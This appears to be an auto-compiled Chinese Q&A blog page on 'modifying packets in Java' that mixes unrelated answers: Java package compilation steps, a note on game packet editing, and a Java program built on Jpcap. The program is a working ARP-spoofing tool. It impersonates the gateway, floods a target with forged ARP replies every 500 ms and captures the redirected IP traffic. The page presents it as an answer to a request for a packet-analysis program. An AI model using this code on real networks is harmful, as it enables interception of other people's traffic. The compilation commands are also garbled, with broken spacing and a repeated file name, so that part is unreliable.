「java修改封包」怎么修改封包数据包

博主:adminadmin 2023-01-19 23:15:08 273

今天给各位分享java修改封包的知识,其中也会对怎么修改封包数据包进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!

本文目录一览:

怎么封包?说的详细点,还有要使用什么工具什么的

不知道你的封包指的是什么呢?

Java封包的步骤:

1, 编译Cale.j ava

命令:javac –d . Cale.jav a

这是会在当前目录产生一个com文件夹。这个文件夹的名字跟你所起的包的名字有关。同时形成com-fts-tengfei-cale-Cale.ja va的目录关系。

2.编译Test.j a v a

命令:命令:java c –d . Cale.j av a

也会在当前目录形成com-fts-tengfei-test-Test.ja v a的目录关系。

至于为什么会在当前目录形成。是因为命令行的-d . 选项,如果换成命令:javac –d c:\ Cale.java那么就会在c:\形成同样的目录关系。

注意:-d选项必不可少,否则无法进行。

如果不封包直接运行输入:

命令:java com.fts.tengfei.test.Test

java代码有没有办法操作封包

正常情况是用C或C++来实现.. 如果你可以用JAVA调用系统DLL 就可以实现.. 不过麻烦大大的

我在玩一款手机网游,想用wpe抓取封包修改数据,请问大神们通过java模拟器抓取的封包有效吗???

没用吧,以前的网游都把数据存在客户端,所以可以修改,现在都在服务器端,另外封包都加密了。。。很难吧

JAVA程序获取封包IP,求帮忙写个程序分析封包IP。

public class LocalListener {

private final static String GATE_IP = "192.168.11.1";

private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};

private JpcapCaptor jpcap; //与设备的连接

private JpcapSender sender; //用于发送的实例

private Packet replyPacket; //ARP reply包

private NetworkInterface device; //当前机器网卡设备

private IpMacMap targetIpMacMap; //目的地IP MAC对

public LocalListener(IpMacMap target) throws Exception {

NetworkInterface[] devices = JpcapCaptor.getDeviceList(); device = devices[1];

this.targetIpMacMap = target;

initSender();

initPacket();

}

private void initSender() throws Exception {

jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接

jpcap.setFilter("ip", true); //只监听ip数据包

sender = jpcap.getJpcapSenderInstance();

}

private void initPacket() throws Exception {

//reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表

IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);

//创建修改目标机器ARP的包

replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);

//创建以太网头信息,并打包进reply包

replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),

device.mac_address);

}

public void listen() throws InterruptedException{

Thread t = new Thread(new Runnable() {

public void run() {

//发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送

while(true){

send();

try {

Thread.sleep(500);

} catch (InterruptedException ex) {

Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);

}

}

}

});

t.start();

//截获当前网络设备的封包收发信息

while(true){

IPPacket ipPacket = (IPPacket)jpcap.getPacket();

System.out.println(ipPacket);

}

}}

//IP-MAC实体,只用于保存一对IP-MAC地址

public class IpMacMap {

private String ip;

private byte[] mac;

public IpMacMap(){

}

public IpMacMap(String ip, byte[] mac){

this.ip = ip;

this.mac = mac;

}

public String getIp() {

return ip;

}

public void setIp(String ip) {

this.ip = ip;

}

public byte[] getMac() {

return mac;

}

public void setMac(byte[] mac) {

this.mac = mac;

}

}

//ARP reply包生成类,用于根据目的地址和源地址生成reply包

public class ARPPacketGern{

public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{

ARPPacket arpTarget = new ARPPacket();

arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)

arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型

arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型

arpTarget.hlen = 6; //MAC地址长度固定6个字节

arpTarget.plen = 4; //IP地址长度固定4个字节

arpTarget.target_hardaddr = target.getMac();

arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();

arpTarget.sender_hardaddr = sender.getMac();

arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();

return arpTarget;

}

}

//根据目的地MAC和源MAC构建以太网头信息,用于传输数据

public class EthernetPacketGern{

public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {

EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头

ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型

ethToTarget.dst_mac = targetMac;

ethToTarget.src_mac = senderMac;

return ethToTarget;

}

}

java修改封包的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于怎么修改封包数据包、java修改封包的信息别忘了在本站进行查找喔。